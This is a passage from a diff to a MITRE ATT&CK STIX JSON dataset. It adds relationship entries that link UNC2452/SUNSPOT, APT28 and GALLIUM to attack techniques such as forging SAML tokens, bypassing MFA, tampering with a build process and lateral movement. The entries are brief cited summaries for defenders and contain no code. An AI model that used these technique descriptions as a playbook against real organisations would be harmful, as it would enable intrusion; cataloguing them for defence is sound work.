Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) leveraged privileged accounts to replicate directory service data with domain controllers.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--78d607b6-0716-4b94-b99a-c1a6b0df8568", + "type": "relationship", + "modified": "2021-01-25T14:25:13.055Z", + "created": "2021-01-12T21:44:55.311Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used WMI event subscriptions for persistence.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--2ad1d615-77c1-40a6-9454-705e90c7a67d", + "type": "relationship", + "modified": "2021-01-25T13:28:21.881Z", + "created": "2021-01-12T21:44:55.333Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used WMI for the remote execution of files for lateral movement.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--cce0a26a-2d3c-486c-b4b1-7f2f2f9529d7", + "type": "relationship", + "modified": "2021-01-25T15:35:27.110Z", + "created": "2021-01-12T21:44:55.406Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "relationship_type": "uses", + "id": "relationship--0357c29c-1f38-4c94-a2be-8a354f79fef8", + "type": "relationship", + "modified": "2021-01-12T21:44:55.617Z", + "created": "2021-01-12T21:44:55.617Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling [UNC2452](https://attack.mitre.org/groups/G0118) to access enterprise cloud applications and services.(Citation: Microsoft 365 Defender Solorigate)", + "relationship_type": "uses", + "id": "relationship--b72d7898-8049-4dad-bc0a-05d56e33122c", + "type": "relationship", + "modified": "2021-01-14T22:26:50.291Z", + "created": "2021-01-12T22:39:34.353Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used a forged duo-sid cookie to bypass MFA set on an email account.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--e879c8be-df2c-4983-96f2-2bca047b017d", + "type": "relationship", + "modified": "2021-01-12T22:39:34.346Z", + "created": "2021-01-12T22:39:34.346Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.(Citation: Microsoft 365 Defender Solorigate)", + "relationship_type": "uses", + "id": "relationship--0192ae64-7d9f-4b19-90a1-def2c716a8ed", + "type": "relationship", + "modified": "2021-01-14T22:26:50.338Z", + "created": "2021-01-12T22:39:34.361Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) obtained the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.(Citation: Microsoft 365 Defender Solorigate)", + "relationship_type": "uses", + "id": "relationship--7cbc1b77-dd32-4d58-8933-56572e0b4803", + "type": "relationship", + "modified": "2021-01-12T22:39:34.382Z", + "created": "2021-01-12T22:39:34.382Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + } + ], + "description": "(Citation: Microsoft 365 Defender Solorigate)", + "relationship_type": "uses", + "id": "relationship--1cc4ca28-4e21-4e4b-886c-790d92ed8c02", + "type": "relationship", + "modified": "2021-01-13T14:31:41.680Z", + "created": "2021-01-13T14:31:41.680Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) was identified on disk with a filename of taskhostsvc.exe and it created an encrypted log file at C:\\Windows\\Temp\\vmware-vmdmp.log.(Citation: CrowdStrike SUNSPOT Implant January 2021) ", + "relationship_type": "uses", + "id": "relationship--be94a9ae-e54a-427e-8caa-36cea954abcb", + "type": "relationship", + "modified": "2021-01-14T15:46:14.358Z", + "created": "2021-01-13T16:20:21.558Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) only replaces SolarWinds Orion source code if the MD5 checksums of both the original source code file and backdoored replacement source code match hardcoded values.(Citation: CrowdStrike SUNSPOT Implant January 2021) ", + "relationship_type": "uses", + "id": "relationship--70d81631-4f33-4fd0-98ac-15b57b8c1ed1", + "type": "relationship", + "modified": "2021-01-14T21:54:18.050Z", + "created": "2021-01-13T18:23:50.493Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) encrypted log entries it collected with the stream cipher RC4 using a hard-coded key. It also uses AES128-CBC encrypted blobs for [SUNBURST](https://attack.mitre.org/software/S0559) source code and data extracted from the SolarWinds Orion process.(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "relationship_type": "uses", + "id": "relationship--41118997-c45e-4123-be61-1b0c5d456256", + "type": "relationship", + "modified": "2021-01-14T15:36:30.804Z", + "created": "2021-01-13T18:23:50.498Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) decrypts [SUNBURST](https://attack.mitre.org/software/S0559), which was stored in AES128-CBC encrypted blobs.(Citation: CrowdStrike SUNSPOT Implant January 2021) ", + "relationship_type": "uses", + "id": "relationship--b8333924-1556-4c3f-b60f-105984e1f715", + "type": "relationship", + "modified": "2021-01-13T18:23:50.496Z", + "created": "2021-01-13T18:23:50.496Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) monitored running processes for instances of MsBuild.exe by hashing the name of each running process and comparing it to the corresponding value 0x53D525. It also extracted command-line arguments and individual arguments from the running MsBuild.exe process to identify the directory path of the Orion software Visual Studio solution.(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "relationship_type": "uses", + "id": "relationship--09f6307c-819e-4e35-bfc7-5314b0c3ce85", + "type": "relationship", + "modified": "2021-01-14T15:36:30.832Z", + "created": "2021-01-13T18:23:50.514Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "external_references": [ + { + "source_name": "TrendMicro Pawn Storm 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf", + "description": "Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020." + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021." + }, + { + "source_name": "Microsoft Targeting Elections September 2020", + "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/", + "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021." + } + ], + "description": "[APT28](https://attack.mitre.org/groups/G0007) can perform brute force attacks to obtain credentials.(Citation: TrendMicro Pawn Storm 2019)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Microsoft Targeting Elections September 2020)", + "relationship_type": "uses", + "id": "relationship--fb719ee1-0be9-41c5-bb52-56c033091e99", + "type": "relationship", + "modified": "2021-03-24T17:06:11.146Z", + "created": "2021-01-13T18:32:09.100Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) used Windows API functions such as MoveFileEx and NtQueryInformationProcess as part of the [SUNBURST](https://attack.mitre.org/software/S0559) injection process.(Citation: CrowdStrike SUNSPOT Implant January 2021) ", + "relationship_type": "uses", + "id": "relationship--9b59a1db-0b3d-4ce7-9cea-d91a71dd0a57", + "type": "relationship", + "modified": "2021-01-13T20:16:23.597Z", + "created": "2021-01-13T20:16:23.597Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) modified its security token to grants itself debugging privileges by adding SeDebugPrivilege.(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "relationship_type": "uses", + "id": "relationship--339e74c4-5e3a-4272-966f-f5542d255d0a", + "type": "relationship", + "modified": "2021-01-13T20:16:23.615Z", + "created": "2021-01-13T20:16:23.615Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) created a copy of the SolarWinds Orion software source file with a .bk extension to backup the original content, wrote [SUNBURST](https://attack.mitre.org/software/S0559) using the same filename but with a .tmp extension, and then moved [SUNBURST](https://attack.mitre.org/software/S0559) using MoveFileEx to the original filename with a .cs extension so it could be compiled within Orion software.(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "relationship_type": "uses", + "id": "relationship--41d6749b-9bd1-47f6-80c4-52652b965e78", + "type": "relationship", + "modified": "2021-01-14T21:54:18.255Z", + "created": "2021-01-13T20:16:23.679Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." + } + ], + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used stolen certificates to sign its tools including those from Whizzimo LLC.(Citation: Microsoft GALLIUM December 2019)", + "relationship_type": "uses", + "id": "relationship--2fc6e8dc-5117-41ea-9b5f-154cff612f6f", + "type": "relationship", + "modified": "2021-01-13T21:05:37.504Z", + "created": "2021-01-13T21:05:37.504Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) malware was designed and used to insert [SUNBURST](https://attack.mitre.org/software/S0559) into software builds of the SolarWinds Orion IT management product.(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "relationship_type": "uses", + "id": "relationship--84c6ce73-83b4-43f1-aeae-4b7e2f8b4d34", + "type": "relationship", + "modified": "2021-01-14T21:54:18.246Z", + "created": "2021-01-13T21:09:53.217Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "Following the successful injection of [SUNBURST](https://attack.mitre.org/software/S0559), [SUNSPOT](https://attack.mitre.org/software/S0562) deleted a temporary file it created named InventoryManager.bk after restoring the original SolarWinds Orion source code to the software library.(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "relationship_type": "uses", + "id": "relationship--39f5d465-832e-4de8-9738-0879803e2b1c", + "type": "relationship", + "modified": "2021-01-14T21:54:18.256Z", + "created": "2021-01-13T21:09:53.225Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "external_references": [ + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." + } + ], + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used a variety of widely-available tools, which in some cases they modified to add functionality and/or subvert antimalware solutions.(Citation: Microsoft GALLIUM December 2019)", + "relationship_type": "uses", + "id": "relationship--3faaf140-71cd-4cc2-91c9-f0980ca72079", + "type": "relationship", + "modified": "2021-03-26T11:49:13.159Z", + "created": "2021-01-13T21:16:05.200Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "external_references": [ + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." + } + ], + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used [PsExec](https://attack.mitre.org/software/S0029) to move laterally between hosts in the target network.(Citation: Microsoft GALLIUM December 2019)", + "relationship_type": "uses", + "id": "relationship--89697f9e-cfd2-4273-a5d6-04354f0c3e7c", + "type": "relationship", + "modified": "2021-01-13T21:16:05.204Z", + "created": "2021-01-13T21:16:05.204Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) source code used generic variable names and pre-obfuscated strings, and was likely sanitized of developer comments before being added to [SUNSPOT](https://attack.mitre.org/software/S0562).(Citation: CrowdStrike SUNSPOT Implant January 2021) ", + "relationship_type": "uses", + "id": "relationship--e88a2959-311f-40c9-adc9-895f38bb1dd7", + "type": "relationship", + "modified": "2021-01-13T21:22:35.439Z", + "created": "2021-01-13T21:19:41.452Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "external_references": [ + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021." + } + ], + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used Google Drive for C2.(Citation: TrendMicro Pawn Storm Dec 2020)", + "relationship_type": "uses", + "id": "relationship--da759124-8047-4b58-b7d4-fa9300cb4ce1", + "type": "relationship", + "modified": "2021-04-19T21:12:35.769Z", + "created": "2021-01-13T21:54:29.651Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021." + } + ], + "description": "[APT28](https://attack.mitre.org/groups/G0007) has deployed malware that has copied itself to the startup directory for persistence.(Citation: TrendMicro Pawn Storm Dec 2020)", + "relationship_type": "uses", + "id": "relationship--1829d419-0145-4a47-bb1e-ff00e647b5ff", + "type": "relationship", + "modified": "2021-04-19T21:12:35.985Z", + "created": "2021-01-13T21:54:29.668Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", + "external_references": [ + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. 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Retrieved January 13, 2021." + } + ], + "description": "[APT28](https://attack.mitre.org/groups/G0007) has routed traffic over [Tor](https://attack.mitre.org/software/S0183) and VPN servers to obfuscate their activities.(Citation: TrendMicro Pawn Storm Dec 2020)", + "relationship_type": "uses", + "id": "relationship--2b6195a4-72f8-4d31-9824-a7c8a7018134", + "type": "relationship", + "modified": "2021-04-19T21:12:35.730Z", + "created": "2021-01-13T21:54:29.675Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "target_ref": 